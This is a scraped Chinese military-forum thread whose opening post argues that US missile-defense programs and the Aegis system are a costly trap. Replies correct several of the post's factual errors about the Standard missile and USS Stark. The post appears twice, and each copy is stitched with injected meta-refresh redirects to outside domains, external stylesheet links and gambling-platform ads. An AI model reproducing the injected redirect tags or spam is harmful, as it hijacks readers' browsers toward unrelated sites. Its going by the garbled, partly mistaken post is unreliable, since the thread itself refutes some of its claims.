NMD和TMD是美国下的一个大圈套

来源:百度文库 编辑:超级军网 时间:2024/04/29 19:39:34
<br /><br />宙斯盾是用古希腊神宙斯的名字命名的,传说宙斯神使用神盾能够抵御所有来袭的刀箭,取用宙斯盾的含义就是无敌之神盾。宙斯盾系统分为两个分系统,一个是宙斯盾雷达监视系统。这个系统的任务是,发现目标之后,进行目标信息的解算和指挥控制,对来袭目标进行优先排序,最后提出打击方案。另一个分系统是标准导弹防御系统。标准是一种防空导弹的名称,最开始的时候是标准-2型导弹,现在装备了标准3,正在研制的是标准4。宙斯盾系统的研制需求是20世纪70年代提出来的,当时主要是为了应付来自苏联的海上导弹饱和攻击,是为了防御海上发射的巡航导弹、反舰导弹和飞机的,开始没有打算防御弹道导弹。1991年苏联解体后,美国没有了直接作战对手,宙斯盾系统逐渐丧失了作用,这时美国就开始寻找新的作战对象,&quot;中国威胁论&quot;就是在这样的情况下提出来的。美国认为,要想防御中国和朝鲜的导弹威胁,最主要的是弹道导弹的威胁,海上威胁虽然也有,但宙斯盾系统能够对付。要想应对弹道导弹的威胁,老的宙斯盾系统不行了,必须研发新的系统,标准-3和标准-4系统就是这样被提出来的。这些新的系统提出来之后,正好赶上美国构建战区导弹防御系统(TMD)和国家导弹防御系统(NMD),于是,宙斯盾很自然地被纳入到战区导弹防御系统之中。这样,宙斯盾系统就从原来一个简单的相对单一的海上航母舰队区域防御系统,扩展为一个能够为战区进行导弹防御的大系统,功能有了很大的拓展。在这种情况下,宙斯盾系统就必须与美国的国家导弹防御系统、全球指挥控制系统、空军导弹防御系统、战略导弹防御系统、日本和台湾导弹防御系统和预警系统等进行互联互通互操作,只有这样,才能实现快速反应和快速打击。这是宙斯盾系统的发展情况。
 关于对宙斯盾系统的认识。我个人向来都持有这样的观点:再先进的防御系统都难以拦截突然袭击和进攻,无论防御系统如何先进,最好的防御仍然是进攻,进攻者只要使用十分之一的力量进攻,防御者就必须付出十倍甚至数十倍的力量组织防御,最终可能还没有什么效果。20世纪80年代,美国海军在海湾油轮战的时候,文森斯号导弹巡洋舰就是用宙斯盾系统误击了伊朗的655航班,把一架空客320民航客机摧毁,机上290名旅客全部遇难。这说明宙斯盾系统在目标分析判断和指挥控制上存在很大问题。1987年,依然是在海湾油轮战期间,美国海军斯塔克号导弹护卫舰,面对伊拉克幻影F-1战斗机发射的飞鱼导弹,无所措手足,只能眼巴巴挨打,一枚导弹直接命中该舰,造成37名水兵当即死亡。防御是必要的,就像战术指挥员在战场上必须佩戴手枪和刀剑一样,但是谁能指望最终会用到这些武器呢?因为,真到了使用这些武器的时候,距离失败可能只有一步之遥了!在战场上真正管用的还是导弹、飞机、大炮、坦克这样的进攻性武器,向前、向前、向前,勇敢地向前推进,勇敢地拼杀,就像李云龙那样,最后只剩下一个人,他依然从血泊中爬起来,擦干身上的血迹,告别死去的战友,重整军容,高喊着&quot;骑兵连,跟我冲&quot;的口号向前冲锋!敌人闻风丧胆,他们没有见过这种不要命的勇士,一个连的人都死光了,他一个人还在继续战斗,冲锋向前。如果相反,李云龙最终拿着手枪和匕首,高喊着&quot;打倒帝国主义,打倒反动派&quot;的革命口号,那就没有上面所说的那种大无畏的进攻精神,防御显然是不得已而为之的,没有办法的办法。
 斯塔克号的导弹防御系统很有效,吹的神乎其神,军迷们都知道密集阵近程防御系统,但什么用都没有,纯粹是一个摆设。理论上来讲六管密集阵火炮可以在距舰3公里的距离上以每分钟6000发的射速构成一道道弹幕,把来袭导弹彻底摧毁!但是,可能性很小,因为如果你发现不了来袭导弹呢?如果发现了导弹反应时间来不及呢?如果组成的弹幕把来袭导弹在距离本舰1000米左右的距离上被拦截了,可被击中后的导弹不能停下啊,它必须继续依照惯性往前飞行,这就麻烦了,肯定继续撞向目标舰艇,这样的撞击同样会给目标舰艇造成巨大的毁损。防空导弹理论上讲很好,实际上就是一个心理安慰的玩意儿,和手枪、匕首差不多,没有不行,心里不踏实,有了也没有多大用。我七八年前就多次讲过,美国的NMD和TMD是个大圈套,千万不要跟着他们去折腾,没有多大用处。天上在下冰雹的时候,你很难想象用速射机枪能够把下落的冰雹都摧毁,总归是有漏网的。当100公里高度飞来一只苍蝇,你很难看清这只苍蝇的公母,更难以想象会用苍蝇拍把那只苍蝇扑灭。吹牛不上税,所以美国人尽管吹,人家是大富豪没关系,但没有钱的人就要仔细想一想,自己那点钱是用来发展进攻性武器好呢,还是用来防御的好。当然,如果金钱足够,咱们都要,攻防兼备,何乐而不为呢!<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
<br /><br />宙斯盾是用古希腊神宙斯的名字命名的,传说宙斯神使用神盾能够抵御所有来袭的刀箭,取用宙斯盾的含义就是无敌之神盾。宙斯盾系统分为两个分系统,一个是宙斯盾雷达监视系统。这个系统的任务是,发现目标之后,进行目标信息的解算和指挥控制,对来袭目标进行优先排序,最后提出打击方案。另一个分系统是标准导弹防御系统。标准是一种防空导弹的名称,最开始的时候是标准-2型导弹,现在装备了标准3,正在研制的是标准4。宙斯盾系统的研制需求是20世纪70年代提出来的,当时主要是为了应付来自苏联的海上导弹饱和攻击,是为了防御海上发射的巡航导弹、反舰导弹和飞机的,开始没有打算防御弹道导弹。1991年苏联解体后,美国没有了直接作战对手,宙斯盾系统逐渐丧失了作用,这时美国就开始寻找新的作战对象,&quot;中国威胁论&quot;就是在这样的情况下提出来的。美国认为,要想防御中国和朝鲜的导弹威胁,最主要的是弹道导弹的威胁,海上威胁虽然也有,但宙斯盾系统能够对付。要想应对弹道导弹的威胁,老的宙斯盾系统不行了,必须研发新的系统,标准-3和标准-4系统就是这样被提出来的。这些新的系统提出来之后,正好赶上美国构建战区导弹防御系统(TMD)和国家导弹防御系统(NMD),于是,宙斯盾很自然地被纳入到战区导弹防御系统之中。这样,宙斯盾系统就从原来一个简单的相对单一的海上航母舰队区域防御系统,扩展为一个能够为战区进行导弹防御的大系统,功能有了很大的拓展。在这种情况下,宙斯盾系统就必须与美国的国家导弹防御系统、全球指挥控制系统、空军导弹防御系统、战略导弹防御系统、日本和台湾导弹防御系统和预警系统等进行互联互通互操作,只有这样,才能实现快速反应和快速打击。这是宙斯盾系统的发展情况。
 关于对宙斯盾系统的认识。我个人向来都持有这样的观点:再先进的防御系统都难以拦截突然袭击和进攻,无论防御系统如何先进,最好的防御仍然是进攻,进攻者只要使用十分之一的力量进攻,防御者就必须付出十倍甚至数十倍的力量组织防御,最终可能还没有什么效果。20世纪80年代,美国海军在海湾油轮战的时候,文森斯号导弹巡洋舰就是用宙斯盾系统误击了伊朗的655航班,把一架空客320民航客机摧毁,机上290名旅客全部遇难。这说明宙斯盾系统在目标分析判断和指挥控制上存在很大问题。1987年,依然是在海湾油轮战期间,美国海军斯塔克号导弹护卫舰,面对伊拉克幻影F-1战斗机发射的飞鱼导弹,无所措手足,只能眼巴巴挨打,一枚导弹直接命中该舰,造成37名水兵当即死亡。防御是必要的,就像战术指挥员在战场上必须佩戴手枪和刀剑一样,但是谁能指望最终会用到这些武器呢?因为,真到了使用这些武器的时候,距离失败可能只有一步之遥了!在战场上真正管用的还是导弹、飞机、大炮、坦克这样的进攻性武器,向前、向前、向前,勇敢地向前推进,勇敢地拼杀,就像李云龙那样,最后只剩下一个人,他依然从血泊中爬起来,擦干身上的血迹,告别死去的战友,重整军容,高喊着&quot;骑兵连,跟我冲&quot;的口号向前冲锋!敌人闻风丧胆,他们没有见过这种不要命的勇士,一个连的人都死光了,他一个人还在继续战斗,冲锋向前。如果相反,李云龙最终拿着手枪和匕首,高喊着&quot;打倒帝国主义,打倒反动派&quot;的革命口号,那就没有上面所说的那种大无畏的进攻精神,防御显然是不得已而为之的,没有办法的办法。
 斯塔克号的导弹防御系统很有效,吹的神乎其神,军迷们都知道密集阵近程防御系统,但什么用都没有,纯粹是一个摆设。理论上来讲六管密集阵火炮可以在距舰3公里的距离上以每分钟6000发的射速构成一道道弹幕,把来袭导弹彻底摧毁!但是,可能性很小,因为如果你发现不了来袭导弹呢?如果发现了导弹反应时间来不及呢?如果组成的弹幕把来袭导弹在距离本舰1000米左右的距离上被拦截了,可被击中后的导弹不能停下啊,它必须继续依照惯性往前飞行,这就麻烦了,肯定继续撞向目标舰艇,这样的撞击同样会给目标舰艇造成巨大的毁损。防空导弹理论上讲很好,实际上就是一个心理安慰的玩意儿,和手枪、匕首差不多,没有不行,心里不踏实,有了也没有多大用。我七八年前就多次讲过,美国的NMD和TMD是个大圈套,千万不要跟着他们去折腾,没有多大用处。天上在下冰雹的时候,你很难想象用速射机枪能够把下落的冰雹都摧毁,总归是有漏网的。当100公里高度飞来一只苍蝇,你很难看清这只苍蝇的公母,更难以想象会用苍蝇拍把那只苍蝇扑灭。吹牛不上税,所以美国人尽管吹,人家是大富豪没关系,但没有钱的人就要仔细想一想,自己那点钱是用来发展进攻性武器好呢,还是用来防御的好。当然,如果金钱足够,咱们都要,攻防兼备,何乐而不为呢!<meta http-equiv="refresh" content="0; url=http://ybw.cc">
<meta http-equiv="refresh" content="0; url=http://dqw.cc">
<link href="http://ybw.cc/58l.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://dqw.cc/99dd.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>

<P>&nbsp;</P>


(6.合.彩)♀足球♀篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注♀♀倍率高√存取速度快.国内最好的投注平台
标准4是一种对地攻击的导弹哦,可不是防空或反导用的。全称是“RGM-165A LASM陆地攻击标准导弹”,由标准2舰空导弹发展而来,更换了雷达导引头,加装了GPS/INS引导系统,配装的是MK125战斗部。

还有,斯塔克号和宙斯盾有什么关系吗?
新版星球大战计划。
板砖船有没用,看看全世界在做什么就知道了;NMD本来就是对付第三世界的,没人打算去学。真正的高效战略防御要靠激光武器,届时无论你想不想都要在攻防两方面下大本钱。

PS:防御强于进攻的历史,可以参考十九世纪中叶到第一次世界大战的军事史,那里头够多例子。新一轮的守强攻弱将会随着定向能武器的成熟而到来。
楼主才是一个大圈套~~~~
残念。。。。。。斯塔克号是佩里级的,和宙斯盾有什么关系,况且本来佩里级只有一座密集阵,布局相当不合理,有雷达死角。当导弹来袭时正处在雷达死角,当时正处在手动管理状态的密集阵根本就没动过,没发射一颗弹药。
NMD根本就是太空军事化,攻击轨道上的目标。

怎么说是盾?根本就是矛!